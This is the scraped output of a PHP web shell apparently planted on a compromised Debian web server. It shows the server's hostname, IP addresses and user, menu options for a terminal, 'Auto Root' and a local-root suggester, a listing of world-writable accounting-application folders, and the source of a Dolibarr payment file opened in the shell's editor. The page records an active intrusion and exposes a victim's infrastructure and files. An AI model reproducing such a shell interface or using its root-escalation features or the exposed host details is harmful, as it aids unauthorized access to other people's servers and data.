Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html_old /
ctm.bdcloud.fr /
compta /
Delete
Unzip
Name
Size
Permission
Date
Action
bank
[ DIR ]
drwxrwxrwx
2020-09-03 11:41
cashcontrol
[ DIR ]
drwxrwxrwx
2020-09-03 11:41
charges
[ DIR ]
drwxrwxrwx
2020-09-03 11:41
deplacement
[ DIR ]
drwxrwxrwx
2020-09-03 11:41
facture
[ DIR ]
drwxrwxrwx
2020-09-03 11:41
journal
[ DIR ]
drwxrwxrwx
2020-09-03 11:41
localtax
[ DIR ]
drwxrwxrwx
2020-09-03 11:41
paiement
[ DIR ]
drwxrwxrwx
2020-09-03 11:41
payment_sc
[ DIR ]
drwxrwxrwx
2020-09-03 11:41
prelevement
[ DIR ]
drwxrwxrwx
2020-09-03 11:41
resultat
[ DIR ]
drwxrwxrwx
2020-09-03 11:41
sociales
[ DIR ]
drwxrwxrwx
2020-09-03 11:41
stats
[ DIR ]
drwxrwxrwx
2020-09-03 11:41
tva
[ DIR ]
drwxrwxrwx
2020-09-03 11:41
.htaccess
510
B
-rw-r--r--
2023-01-18 07:38
accounting-files.php
26.58
KB
-rwxrwxrwx
2020-09-03 11:37
ajaxpayment.php
4.49
KB
-rwxrwxrwx
2020-09-03 11:37
clients.php
6.12
KB
-rwxrwxrwx
2020-09-03 11:37
index.php
69.16
KB
-rwxrwxrwx
2023-01-18 07:38
paiement.php
37.67
KB
-rwxrwxrwx
2020-09-03 11:37
paiement_charge.php
10.78
KB
-rwxrwxrwx
2020-09-03 11:37
recap-compta.php
9.88
KB
-rwxrwxrwx
2020-09-03 11:37
Save
Rename
<?php /* Copyright (C) 2011 Auguria <anthony.poiret@auguria.net> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ /** * \file htdocs/compta/ajaxpayment.php * \brief File to return Ajax response on payment breakdown process */ if (! defined('NOREQUIRESOC')) define('NOREQUIRESOC', '1'); if (! defined('NOCSRFCHECK')) define('NOCSRFCHECK', '1'); if (! defined('NOTOKENRENEWAL')) define('NOTOKENRENEWAL', '1'); if (! defined('NOREQUIREMENU')) define('NOREQUIREMENU', '1'); // If there is no menu to show if (! defined('NOREQUIREHTML')) define('NOREQUIREHTML', '1'); // If we don't need to load the html.form.class.php require '../main.inc.php'; $langs->load('compta'); /* * View */ //init var $invoice_type = GETPOST('invoice_type', 'int'); $amountPayment = $_POST['amountPayment']; $amounts = $_POST['amounts']; // from text inputs : invoice amount payment (check required) $remains = $_POST['remains']; // from dolibarr's object (no need to check) $currentInvId = $_POST['imgClicked']; // from DOM elements : imgId (equals invoice id) // Getting the posted keys=>values, sanitize the ones who are from text inputs $amountPayment = $amountPayment!='' ? ( is_numeric(price2num($amountPayment)) ? price2num($amountPayment) : '' ) : ''; // keep void if not a valid entry // Clean checkamounts foreach ($amounts as $key => $value) { $value = price2num($value); $amounts[$key]=$value; if (empty($value)) unset($amounts[$key]); } // Clean remains foreach ($remains as $key => $value) { $value = price2num($value); $remains[$key]=(($invoice_type)==2?-1:1)*$value; if (empty($value)) unset($remains[$key]); } // Treatment $result = ($amountPayment != '') ? ($amountPayment - array_sum($amounts)) : array_sum($amounts); // Remaining amountPayment $toJsonArray = array(); $totalRemaining = price2num(array_sum($remains)); $toJsonArray['label'] = $amountPayment == '' ? '' : $langs->transnoentities('RemainingAmountPayment'); if ($currentInvId) // Here to breakdown { // Get the current amount (from form) and the corresponding remainToPay (from invoice) $currentAmount = $amounts['amount_'.$currentInvId]; $currentRemain = $remains['remain_'.$currentInvId]; // If amountPayment isn't filled, breakdown invoice amount, else breakdown from amountPayment if($amountPayment == '') { // Check if current amount exists in amounts $amountExists = array_key_exists('amount_'.$currentInvId, $amounts); if($amountExists) { $remainAmount = $currentRemain - $currentAmount; // To keep value between curRemain and curAmount $result += $remainAmount; // result must be deduced by $currentAmount += $remainAmount; // curAmount put to curRemain }else { $currentAmount = $currentRemain; $result += $currentRemain; } }else { // Reset the substraction for this amount $result += price2num($currentAmount); $currentAmount = 0; if($result >= 0) // then we need to calculate the amount to breakdown { $amountToBreakdown = ($result - $currentRemain >= 0 ? $currentRemain : // Remain can be fully paid $currentRemain + ($result - $currentRemain)); // Remain can only partially be paid $currentAmount = $amountToBreakdown; // In both cases, amount will take breakdown value $result -= $amountToBreakdown; // And canceled substraction has been replaced by breakdown } // else there's no need to calc anything, just reset the field (result is still < 0) } $toJsonArray['amount_'.$currentInvId] = price2num($currentAmount).""; // Param will exist only if an img has been clicked } $toJsonArray['makeRed'] = ($totalRemaining < price2num($result) || price2num($result) < 0) ? true : false; $toJsonArray['result'] = price($result); // Return value to user format $toJsonArray['resultnum'] = price2num($result); // Return value to numeric format // Encode to JSON to return echo json_encode($toJsonArray); // Printing the call's result